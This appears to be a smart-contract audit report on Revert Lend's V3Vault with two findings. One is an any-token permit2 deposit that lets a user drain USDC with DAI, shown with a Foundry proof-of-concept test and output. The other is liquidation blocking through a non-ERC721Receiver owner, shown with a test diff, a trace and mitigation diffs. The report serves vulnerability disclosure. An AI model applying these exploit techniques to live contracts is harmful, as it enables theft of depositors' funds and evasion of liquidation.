Revert Lend - ayden's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L384-L387 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

Vulnerability details

Impact

User can specify any erc20 token deposit into the vault and borrow target vault asset. assume the erc20 token in vault is USDC, user can deposit DAI into vault and borrow USDC. NOTE that USDC is 6 decimals and DAI is 18 decimals. Result in vault lost of funds.

Proof of Concept

User can use permitData interact with permit2 contract to send token to vault https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L893-L898

if (permitData.length > 0) {
    (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
        abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
    permit2.permitTransferFrom(
        permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
);

then user get a certain vault shares depending on the amount. https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L885-L891

if (isShare) {
            shares = amount;
            assets = _convertToAssets(shares, newLendExchangeRateX96, Math.Rounding.Up);
        } else {
            assets = amount;
        @>  shares = _convertToShares(assets, newLendExchangeRateX96, Math.Rounding.Down);
}

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L904

    _mint(receiver, shares);

However user can specify any erc20 token protocol doesn't check the erc20 token

Here is my test add to V3Vault.t.sol:

• bob deposit 10e6 USDC
• alice deposit 2e6 DAI
• alice borrow 8e6 USDC

    function testDepositToVaultCanBeAnyToken() external {
        uint256 amount = 2e6;
        uint256 privateKey = 123;
        address alice = vm.addr(privateKey);
        address bob = vm.addr(456);

        //set bob 10e6 USDC.
        deal(address(USDC),bob,10e6);

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        //set alice 2e6 DAI.
        deal(address(DAI),alice,amount);

        //first bob deposit some USDC.
        vm.prank(bob);
        USDC.approve(address(vault),type(uint256).max);
        vm.prank(bob);
        vault.deposit(10e6,bob);

        assertEq(USDC.balanceOf(address(vault)),10e6);
        console2.log("vault USDC bal after bob deposit:",USDC.balanceOf(address(vault)));

        vm.prank(alice);
        DAI.approve(PERMIT2, type(uint256).max);

        ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
            ISignatureTransfer.TokenPermissions(address(DAI), amount), 1, block.timestamp
        );
        bytes memory signature = _getPermitTransferFromSignature(tf, privateKey, address(vault));
        bytes memory permitData = abi.encode(tf, signature);

        assertEq(vault.lendInfo(alice), 0);

        vm.prank(address(alice));
        vault.deposit(amount,alice,permitData);
        console2.log("vault DAI bal after alice deposit:",DAI.balanceOf(address(vault)));

        uint256 max = vault.maxWithdraw(alice);
        vm.prank(address(alice));
        vault.withdraw(max, alice, alice);

        console2.log("alice USDC bal:",USDC.balanceOf(alice));
        console2.log("vault USDC bal:",USDC.balanceOf(address(vault)));
    }

output:

[PASS] testDepositToVaultCanBeAnyToken() (gas: 584675)
Logs:
  vault USDC bal after bob deposit: 10000000
  vault DAI bal after alice deposit: 2000000
  alice USDC bal: 2000000
  vault USDC bal: 8000000

Tools Used

Foundry

Recommended Mitigation Steps

@@ -893,6 +896,7 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         if (permitData.length > 0) {
             (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                 abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
+            require(permit.permitted.token == asset,"not support erc20 token");
             permit2.permitTransferFrom(
                 permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
             );
@@ -904,11 +908,13 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         _mint(receiver, shares);

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083

Vulnerability details

Impact

When the price of user collateral drop,the user's position can be liquidated by the first user who invoke liquidate. However protocol use safeTransferFrom which first check if owner is an contract,if it do then invoke onERC721Received and check the return vault. User can move the owner of position to an contract which doesn't implement the onERC721Received function.Thus to avoid position been liquidated.

Proof of Concept

modify _setupBasicLoan set the owner of position to address(this)

@@ -117,7 +121,7 @@ contract V3VaultIntegrationTest is Test {
         vm.prank(TEST_NFT_ACCOUNT);
         NPM.approve(address(vault), TEST_NFT);
         vm.prank(TEST_NFT_ACCOUNT);
-        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
+        vault.create(TEST_NFT, address(this));
 
         (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
         assertEq(collateralValue, 8847206);
@@ -125,7 +129,7 @@ contract V3VaultIntegrationTest is Test {
 
         if (borrowMax) {
             // borrow max
-            vm.prank(TEST_NFT_ACCOUNT);
+            vm.prank(address(this));
             vault.borrow(TEST_NFT, collateralValue);
         }
     }

run test

forge test --mt testLiquidationWithFlashloan -vvv

output:

81811497356609130068721755343759542 [3.757e39], 3782973226927107867482787903 [3.782e27], 0, 0
    │   │   │   │   ├─ [79674] 0xC36442b4a4522E871399CD717aBDD847Ab11FE88::safeTransferFrom(V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], V3VaultIntegrationTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 126)
    │   │   │   │   │   ├─ emit Approval(owner: V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], approved: 0x0000000000000000000000000000000000000000, tokenId: 126)
    │   │   │   │   │   ├─ emit Transfer(from: V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: V3VaultIntegrationTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 126)
    │   │   │   │   │   ├─ [259] V3VaultIntegrationTest::onERC721Received(V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 126, 0x)
    │   │   │   │   │   │   └─ ← EvmError: Revert
    │   │   │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    └─ ← Error != expected error: ERC721: transfer to non ERC721Receiver implementer != 0xc9d2c178

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 981.20ms (15.55ms CPU time)

Ran 1 test suite in 1.68s (981.20ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/integration/V3Vault.t.sol:V3VaultIntegrationTest
[FAIL. Reason: Error != expected error: ERC721: transfer to non ERC721Receiver implementer != 0xc9d2c178] testLiquidationWithFlashloan() (gas: 3004608)

Tools Used

Recommended Mitigation Steps

@@ -1080,7 +1086,7 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         _removeTokenFromOwner(owner, tokenId);
         _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
         delete loans[tokenId];
-        nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
+        nonfungiblePositionManager.transferFrom(address(this), owner, tokenId);//@audit not allowed.
         emit Remove(tokenId, owner);
     }

Assessed type

DoS